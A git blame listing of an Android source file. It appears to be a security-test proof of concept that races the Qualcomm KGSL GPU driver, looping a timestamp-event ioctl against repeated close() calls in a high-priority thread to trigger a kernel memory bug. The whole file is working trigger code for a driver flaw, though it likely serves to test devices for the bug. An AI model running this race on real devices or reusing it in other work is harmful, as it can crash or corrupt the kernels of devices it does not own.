Badash | ec0328c | 2016-12-20 14:55:09 -0800 | [diff] [blame] | 1 | /* |
| 2 | * Copyright (C) 2017 The Android Open Source Project |
| 3 | * |
| 4 | * Licensed under the Apache License, Version 2.0 (the "License"); |
| 5 | * you may not use this file except in compliance with the License. |
| 6 | * You may obtain a copy of the License at |
| 7 | * |
| 8 | * http://www.apache.org/licenses/LICENSE-2.0 |
| 9 | * |
| 10 | * Unless required by applicable law or agreed to in writing, software |
| 11 | * distributed under the License is distributed on an "AS IS" BASIS, |
| 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| 13 | * See the License for the specific language governing permissions and |
| 14 | * limitations under the License. |
| 15 | */ |
| 16 | #define _GNU_SOURCE |
| 17 | #include <stdlib.h> |
| 18 | #include <unistd.h> |
| 19 | #include <errno.h> |
| 20 | #include <stdio.h> |
| 21 | #include <dirent.h> |
| 22 | #include <string.h> |
| 23 | #include <sys/stat.h> |
| 24 | #include <sys/ioctl.h> |
| 25 | #include <stdio.h> |
| 26 | #include <string.h> |
| 27 | #include <dlfcn.h> |
| 28 | #include <sys/time.h> |
| 29 | #include <sys/mman.h> |
| 30 | #include <sys/syscall.h> |
| 31 | #include <sys/resource.h> |
| 32 | #include <fcntl.h> |
| 33 | #include <pthread.h> |
| 34 | #include <unistd.h> |
| 35 | #include <sched.h> |
| 36 | |
| 37 | #define KGSL_CONTEXT_SAVE_GMEM 0x00000001 |
| 38 | #define KGSL_CONTEXT_NO_GMEM_ALLOC 0x00000002 |
| 39 | /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ |
| 40 | #define KGSL_CONTEXT_SUBMIT_IB_LIST 0x00000004 |
| 41 | #define KGSL_CONTEXT_CTX_SWITCH 0x00000008 |
| 42 | #define KGSL_CONTEXT_PREAMBLE 0x00000010 |
| 43 | #define KGSL_CONTEXT_TRASH_STATE 0x00000020 |
| 44 | #define KGSL_CONTEXT_PER_CONTEXT_TS 0x00000040 |
| 45 | #define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080 |
| 46 | /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ |
| 47 | #define KGSL_CONTEXT_END_OF_FRAME 0x00000100 |
| 48 | #define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200 |
| 49 | /* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */ |
| 50 | #define KGSL_CONTEXT_SYNC 0x00000400 |
| 51 | #define KGSL_CONTEXT_PWR_CONSTRAINT 0x00000800 |
| 52 | |
| 53 | #define KGSL_IOC_TYPE 0x09 |
| 54 | struct kgsl_drawctxt_create { |
| 55 | unsigned int flags; |
| 56 | unsigned int drawctxt_id; /*output param */ |
| 57 | }; |
| 58 | |
| 59 | #define IOCTL_KGSL_DRAWCTXT_CREATE \ |
| 60 | _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create) |
| 61 | |
| 62 | /* destroy a draw context */ |
| 63 | struct kgsl_drawctxt_destroy { |
| 64 | unsigned int drawctxt_id; |
| 65 | }; |
| 66 | |
| 67 | #define IOCTL_KGSL_DRAWCTXT_DESTROY \ |
| 68 | _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy) |
| 69 | |
| 70 | struct kgsl_timestamp_event { |
| 71 | int type; /* Type of event (see list below) */ |
| 72 | unsigned int timestamp; /* Timestamp to trigger event on */ |
| 73 | unsigned int context_id; /* Context for the timestamp */ |
| 74 | void __user *priv; /* Pointer to the event specific blob */ |
| 75 | size_t len; /* Size of the event specific blob */ |
| 76 | }; |
| 77 | #define IOCTL_KGSL_TIMESTAMP_EVENT \ |
| 78 | _IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event) |
| 79 | int g_fd = -1; |
| 80 | int g_ctx_id = -1; |
| 81 | int g_sync_fence_fd = -1; |
| 82 | struct kgsl_timestamp_event g_event; |
| 83 | static pthread_cond_t cond = PTHREAD_COND_INITIALIZER; |
| 84 | static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; |
| 85 | |
| 86 | void trigger_kgsl_create_drawctx() { |
| 87 | struct kgsl_drawctxt_create ctx; |
| 88 | ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC; |
| 89 | ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx); |
Badash | ec0328c | 2016-12-20 14:55:09 -0800 | [diff] [blame] | 90 | g_ctx_id = ctx.drawctxt_id; |
| 91 | } |
| 92 | |
| 93 | void trigger_kgsl_free_drawctx(int id) { |
| 94 | struct kgsl_drawctxt_destroy ctx; |
| 95 | ctx.drawctxt_id = id; |
| 96 | ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx); |
Badash | 678ef56 | 2017-02-06 14:58:54 -0800 | [diff] [blame] | 97 | |
Badash | ec0328c | 2016-12-20 14:55:09 -0800 | [diff] [blame] | 98 | } |
| 99 | |
| 100 | void trigger_kgsl_timestamp_event() { |
Badash | ec0328c | 2016-12-20 14:55:09 -0800 | [diff] [blame] | 101 | ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event); |
Badash | ec0328c | 2016-12-20 14:55:09 -0800 | [diff] [blame] | 102 | } |
| 103 | |
| 104 | int open_driver() { |
| 105 | char* dev_path = "/dev/kgsl-3d0"; |
| 106 | g_fd = open(dev_path, O_RDWR); |
Badash | ec0328c | 2016-12-20 14:55:09 -0800 | [diff] [blame] | 107 | return g_fd; |
| 108 | } |
| 109 | |
| 110 | |
| 111 | void setup_privi_and_affinity(int privi, unsigned long cpu_mask) { |
| 112 | setpriority(PRIO_PROCESS, gettid(), privi); |
Badash | ec0328c | 2016-12-20 14:55:09 -0800 | [diff] [blame] | 113 | } |
| 114 | |
| 115 | |
| 116 | void* race_thread(void* arg) { |
| 117 | setup_privi_and_affinity(-19, 2); |
| 118 | pthread_mutex_lock(&mutex); |
| 119 | pthread_cond_wait(&cond, &mutex); |
| 120 | pthread_mutex_unlock(&mutex); |
| 121 | while (1) { |
| 122 | close(4); |
| 123 | } |
| 124 | return NULL; |
| 125 | } |
| 126 | |
| 127 | int main(int argc, char**argv) { |
| 128 | setup_privi_and_affinity(-19, 1); |
| 129 | |
| 130 | if (open_driver() < 0) { |
| 131 | return -1; |
| 132 | } |
| 133 | trigger_kgsl_create_drawctx(); |
| 134 | |
| 135 | g_event.type = 2; |
| 136 | g_event.context_id = g_ctx_id; |
| 137 | g_event.len = 4; |
| 138 | g_event.priv = malloc(0x1000); |
| 139 | g_event.timestamp = 0; |
| 140 | mprotect(g_event.priv, 0x1000, PROT_READ); |
Badash | ec0328c | 2016-12-20 14:55:09 -0800 | [diff] [blame] | 141 | |
| 142 | pthread_t tid; |
| 143 | pthread_create(&tid, NULL, race_thread, NULL); |
| 144 | usleep(100 * 1000); |
| 145 | |
| 146 | pthread_cond_signal(&cond); |
| 147 | usleep(20); |
| 148 | while (1) { |
| 149 | trigger_kgsl_timestamp_event(); |
| 150 | } |
| 151 | |
| 152 | return 0; |
| 153 | } |